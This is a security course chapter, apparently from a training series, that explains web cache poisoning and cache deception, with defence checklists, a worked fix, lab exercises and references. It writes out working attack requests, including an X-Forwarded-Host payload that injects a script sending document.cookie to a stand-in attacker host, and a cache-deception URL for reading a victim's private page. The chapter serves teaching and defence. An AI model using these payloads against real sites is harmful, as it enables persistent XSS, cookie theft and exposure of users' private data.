Frontend Labs
⋯

Chapter 31 — Web cache poisoning and cache deception

In one sentence

Cache poisoning gets a harmful response stored under a key that many users share, so one attacker request serves malware/XSS/redirects to everyone; cache deception tricks the cache into storing someone else's private page where the attacker can read it.

Where we are

CDNs and reverse-proxy caches are everywhere. They key responses on part of the request (method + host + path + some params) and ignore the rest ("unkeyed" inputs). If an unkeyed input changes the response, the cache serves that response to everyone with the same key.

How it works

Cache poisoning:

   1. Find an UNKEYED input that affects the response. Common ones:
        X-Forwarded-Host / X-Host / X-Forwarded-Server  -> reflected into
          an absolute URL (a <script src>, a redirect, a link, an og:url).
        X-Forwarded-Scheme / X-Forwarded-Proto -> http -> redirect loop /
          downgrade / cached redirect to attacker.
        X-Forwarded-For, User-Agent, Accept-Language, a cookie, an
          obscure query param, a "fat GET" body.
        (Find them with Burp Param Miner: "guess headers"/"guess params".)
   2. Send a request with your key (the normal URL) + a malicious value in
      the unkeyed input:
        GET /en/ HTTP/1.1
        Host: shop.securesh.op
        X-Forwarded-Host: evil.attacker.net
      Response reflects it:
        <script src="//evil.attacker.net/a.js"></script>
      The cache stores this under key (GET, shop.securesh.op, /en/).
   3. Every subsequent visitor to /en/ gets your script. Persistent,
      widespread XSS / defacement / redirect, until the cache entry
      expires or is purged.

   Variants: cache-key normalisation flaws (`/en?x=1` vs `/en?x=1&`),
   parameter cloaking (`;`), keyed-param injection, cache-key injection
   via encoded chars, "cache poisoning via header injection" chained with
   Ch 30 smuggling (poison the shared cache with a smuggled response).

Cache deception:

   The app routes on the PATH loosely; the cache decides "cacheable" from
   the EXTENSION or a static path prefix. Discrepancy -> cache a private
   page.

   Attacker sends the victim (or the victim's browser follows) :
     https://shop.securesh.op/account/profile/nonexistent.css
   - The app (path handling / a permissive router / path parameters):
     serves /account/profile for the LOGGED-IN victim.
   - The CDN: "ends in .css -> static -> cache it" (or "/static/..." after
     path normalisation differences, or a `;` path param, or an encoded
     `%2f`).
   - The attacker then requests the same URL (unauthenticated) and gets
     the CACHED copy of the VICTIM'S profile page -- names, emails,
     tokens, CSRF secrets.

   2024 research (PortSwigger, "Gotta cache 'em all") expanded this with
   path-normalisation and delimiter discrepancies between many CDN/origin
   pairs.

Defence:

   [ ] Do NOT cache responses that depend on unkeyed input. Either include
       the input in the cache key, or strip it before it reaches the app,
       or set `Cache-Control: no-store` / `private` on affected responses.
   [ ] Authenticated / personalised responses: `Cache-Control: private,
       no-store`; never cache anything with `Set-Cookie` or `Authorization`
       in the request.
   [ ] Don't derive cacheability from the file extension. Cache only
       explicitly-marked static assets, ideally on a SEPARATE hostname
       (static.securesh.op) that serves nothing dynamic and no cookies.
   [ ] NORMALISE paths identically at the cache and the origin (encoded
       slashes, dot segments, trailing chars, path parameters, `;`). Test
       the specific CDN+origin pair.
   [ ] Don't reflect request headers (esp. Host / X-Forwarded-*) into
       response bodies or headers. Build absolute URLs from configured
       values.
   [ ] Vary: on any header that legitimately changes a cacheable response
       (and accept the reduced hit rate).
   [ ] Monitor: alert on cache entries serving unexpected external script
       origins / redirects.

Worked example

X-Forwarded-Host to stored XSS via the cache, and the two-line fix.

   /support/ renders:
     <link rel="canonical" href="https://{{ request.x_forwarded_host or
       request.host }}/support/">
   and the CDN caches /support/ for 5 minutes.

   Attack:
     GET /support/ HTTP/1.1
     Host: shop.securesh.op
     X-Forwarded-Host: x"></link><script>fetch('//evil/'+document.cookie)</script>
   Response cached with the injected script. Every visitor to /support/
   for the next 5 minutes runs it.

   FIX:
     - The app builds canonical/absolute URLs from a CONFIGURED base URL,
       never from a request header.
     - The CDN strips X-Forwarded-* from client requests (only the LB adds
       trusted ones) and does not include them in the cache key because
       the app no longer varies on them.
     - `Cache-Control: no-store` on any page that still reflects
       user-influenced data.
   Re-test with Param Miner: no unkeyed input affects /support/.

Practice (60 min)

  1. PortSwigger Academy "Web cache poisoning" track (unkeyed headers, unkeyed params, fat GET, cache-key flaws, normalisation, chaining) and "Web cache deception" track.
  2. Use Param Miner against a lab and a site you own to enumerate unkeyed inputs.
  3. Locally: a small app that reflects X-Forwarded-Host into a <script src>, behind Varnish/nginx-cache/a CDN dev tier. Poison it; observe a second client getting the payload. Then apply the fixes and re-test.
  4. Build a cache-deception repro: an app that serves /account for /account/x.css, behind a cache that caches .css. Read the "victim" page as an unauthenticated attacker. Fix path normalisation + Cache-Control.

Across the series

  • Build the cache and watch it leak: the HTTPS guide's edgecache lab implements Cache-Control, Vary, and ETag revalidation. Removing one word (private) makes the cache serve Alice's balance to Bob, and its exercises include an unkeyed-header poisoning variant.

Common mistakes

  • Caching authenticated/personalised pages. Cache-Control: private, no-store on anything user-specific; never cache with Set-Cookie.
  • Reflecting Host / X-Forwarded-* into responses. Build URLs from config.
  • Cacheability by extension. /account/x.css isn't a stylesheet. Cache only explicitly-marked assets, ideally on a cookie-less static origin.
  • Assuming the cache and origin normalise paths the same way. They usually don't. Test the pair.
  • Not stripping client-supplied X-Forwarded-*. Only your LB should set them (this also matters for G1 Ch 31 and Ch 33).
  • No monitoring. A poisoned entry can serve to thousands before anyone notices.

Check yourself

  1. What is an "unkeyed input" and why does it enable cache poisoning?
  2. Name four inputs that are commonly unkeyed and harmful when reflected.
  3. How does cache deception differ from poisoning in goal and mechanism?
  4. Why is deriving cacheability from a file extension dangerous?
  5. Give four defences that between them neutralise both attacks.

Further reading

  • Research: PortSwigger — "Practical Web Cache Poisoning" (2018), "Web Cache Entanglement" (2020), "Gotta cache 'em all" (2024) — James Kettle / Martin Doyhenard. Omer Gil — "Web Cache Deception Attack" (2017).
  • Labs: PortSwigger Academy cache-poisoning and cache-deception tracks.
  • Tools: Burp Param Miner; Web Cache Vulnerability Scanner (Hackmanit).
  • Reference: RFC 9111 (HTTP Caching); the Cache-Control / Vary / Age semantics; your CDN's cache-key configuration docs.

Generated from real-life-security-guide-v1.md · 8 Oct 2026 16:36